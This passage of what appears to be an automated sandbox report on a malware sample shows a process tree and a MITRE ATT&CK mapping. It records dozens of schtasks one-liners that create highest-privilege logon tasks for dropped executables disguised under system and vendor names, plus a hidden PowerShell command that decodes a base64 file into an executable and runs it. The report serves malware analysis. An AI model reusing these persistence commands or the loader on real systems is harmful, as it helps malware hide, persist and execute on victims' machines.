    PID:1796
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:2896
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4268
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_typeperf_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5668
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_typeperf_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tttracer_5" /tr ""C:\Users\Admin\AppData\Roaming\RegisterReceive\Logs\UpdateCache\tttracer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tttracer_5" /tr ""C:\Users\Admin\AppData\Roaming\RegisterReceive\Logs\UpdateCache\tttracer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1596
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3092
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6040
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InputSwitchToastHandler_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1400
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2432
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InputSwitchToastHandler_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mmc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2892
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mmc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2408
- C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\cttune.exe
  "C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\cttune.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:3176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tttracer_1" /tr ""C:\Users\Admin\AppData\Roaming\RegisterReceive\Logs\UpdateCache\UpdateCache\tttracer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3740
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tttracer_1" /tr ""C:\Users\Admin\AppData\Roaming\RegisterReceive\Logs\UpdateCache\UpdateCache\tttracer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2936
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GamePanel_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3728
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GamePanel_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1344
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_recover_3" /tr ""C:\ProgramData\MicrosoftService\recover.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2024
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_recover_3" /tr ""C:\ProgramData\MicrosoftService\recover.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4240
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_taskkill_4" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_taskkill_4" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OutSave_5" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\UpdateCache\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4860
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5996
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_OutSave_5" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\UpdateCache\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5644
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WinLock_6" /tr ""C:\Users\Admin\AppData\Local\Temp\UpdateCache\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WinLock_6" /tr ""C:\Users\Admin\AppData\Local\Temp\UpdateCache\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4132
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_VC_redist.x64_7" /tr ""C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\UpdateCache\UpdateCache\VC_redist.x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_VC_redist.x64_7" /tr ""C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\UpdateCache\UpdateCache\VC_redist.x64.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mmc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:240
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mmc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3416
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mtstocom_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mtstocom.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mtstocom_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mtstocom.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dllhst3g_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dllhst3g_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5848
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tar_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\tar.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1056
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tar_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\tar.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5488
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmdl32_5" /tr ""C:\Users\Admin\AppData\Roaming\FormatResolve\Logs\UpdateCache\UpdateCache\cmdl32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2116
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cmdl32_5" /tr ""C:\Users\Admin\AppData\Roaming\FormatResolve\Logs\UpdateCache\UpdateCache\cmdl32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4500
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fltMC_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1624
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fltMC_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:576
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_7" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2876
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_7" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_win32calc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:260
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_win32calc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1884
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_1" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2952

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:5624

C:\Users\Admin\AppData\Local\MicrosoftService\mtstocom.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\mtstocom.exe" --guard
1⤵
- Executes dropped EXE
PID:6112

C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\GamePanel.exe
"C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\GamePanel.exe" --guard
1⤵
- Executes dropped EXE
PID:2088

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:2004

C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\runonce.exe
"C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\runonce.exe" --guard
1⤵
- Executes dropped EXE
PID:4176

C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\icacls.exe
"C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\icacls.exe" --guard
1⤵
- Executes dropped EXE
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4972

C:\ProgramData\MicrosoftService\Register-CimProvider.exe
"C:\ProgramData\MicrosoftService\Register-CimProvider.exe" --guard
1⤵
- Executes dropped EXE
PID:4892

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe
"C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --guard
1⤵
- Executes dropped EXE
PID:3080

C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\mobsync.exe
"C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\mobsync.exe" --guard
1⤵
- Executes dropped EXE
PID:3908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -w hidden -noni -c "$h=Get-Content '$env:TMP_HEX' -Raw; $h=$h -replace '[\r\n\s]',''; $b=[Convert]::FromBase64String($h); [System.IO.File]::WriteAllBytes('$env:TMP_EXE', $b); Start-Process '$env:TMP_EXE'; Remove-Item '$env:TMP_HEX' -ErrorAction SilentlyContinue;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5716

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv e494ZdBBAUuNJVuw/ZwoyQ.0.2
1⤵
PID:5728

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task